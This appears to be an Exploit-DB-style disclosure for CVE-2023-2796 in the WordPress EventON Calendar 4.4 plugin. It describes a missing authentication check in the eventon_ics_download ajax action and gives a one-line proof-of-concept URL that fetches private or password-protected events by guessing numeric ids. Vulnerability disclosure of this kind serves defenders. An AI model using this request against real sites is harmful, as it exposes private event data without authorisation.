# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access # Date: 03.08.2023 # Exploit Author: Miguel Santareno # Vendor Homepage: https://www.myeventon.com/ # Version: 4.4 # Tested on: Google and Firefox latest version # CVE : CVE-2023-2796 # 1. Description The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id. # 2. Proof of Concept (PoC) Proof of Concept: https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value